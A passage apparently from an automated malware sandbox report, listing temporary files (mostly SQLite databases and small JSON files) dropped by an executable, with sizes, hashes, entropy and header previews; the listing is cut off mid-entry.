Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\BmZT7NOXi7

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\BqNvonZa7A

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Bxoqzb6Lru

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\CFuxe2axJX

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\CMXRu22pSI

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\CklsRsuz7p

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\CrS5vDT3f1

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\D0nDRqm0nV

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	14
Entropy (8bit):	3.378783493486176
Encrypted:	false
SSDEEP:	3:Y2Qt6eYYn:Y2Qt6eYYn
MD5:	6CA4960355E4951C72AA5F6364E459D5
SHA1:	2FD90B4EC32804DFF7A41B6E63C8B0A40B592113
SHA-256:	88301F0B7E96132A2699A8BCE47D120855C7F0A37054540019E3204D6BCBABA3
SHA-512:	8544CD778717788B7484FAF2001F463320A357DB63CB72715C1395EF19D32EEC4278BAB07F15DE3F4FED6AF7E4F96C41908A0C45BE94D5CDD8121877ECCF310D
Malicious:	false
Preview:	{"Surveys":{}}

C:\Users\user\AppData\Local\Temp\D4qXejPBBZ

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\DfzJhppc4p

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\DziR07uM3e

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\EHImKOFIDM

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Ecg5arJ2K2

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\F4hBnf0ypI

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\FBw5Whye98

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\FC2MeRPacy

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\FYNTFIsx7h

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\FiklaO6rx5

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\FnukIbOp0z

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\G18b08Ldif

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\GZNs4DHvRu

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\GczKsVMKFb

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	14
Entropy (8bit):	3.378783493486176
Encrypted:	false
SSDEEP:	3:Y2Qt6eYYn:Y2Qt6eYYn
MD5:	6CA4960355E4951C72AA5F6364E459D5
SHA1:	2FD90B4EC32804DFF7A41B6E63C8B0A40B592113
SHA-256:	88301F0B7E96132A2699A8BCE47D120855C7F0A37054540019E3204D6BCBABA3
SHA-512:	8544CD778717788B7484FAF2001F463320A357DB63CB72715C1395EF19D32EEC4278BAB07F15DE3F4FED6AF7E4F96C41908A0C45BE94D5CDD8121877ECCF310D
Malicious:	false
Preview:	{"Surveys":{}}

C:\Users\user\AppData\Local\Temp\GfDizdK2Zc

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\GfqnsQCStn

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\GxZSrkscsm

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\H7Y5FtTJ6s

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\HFu5J1UZrq

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
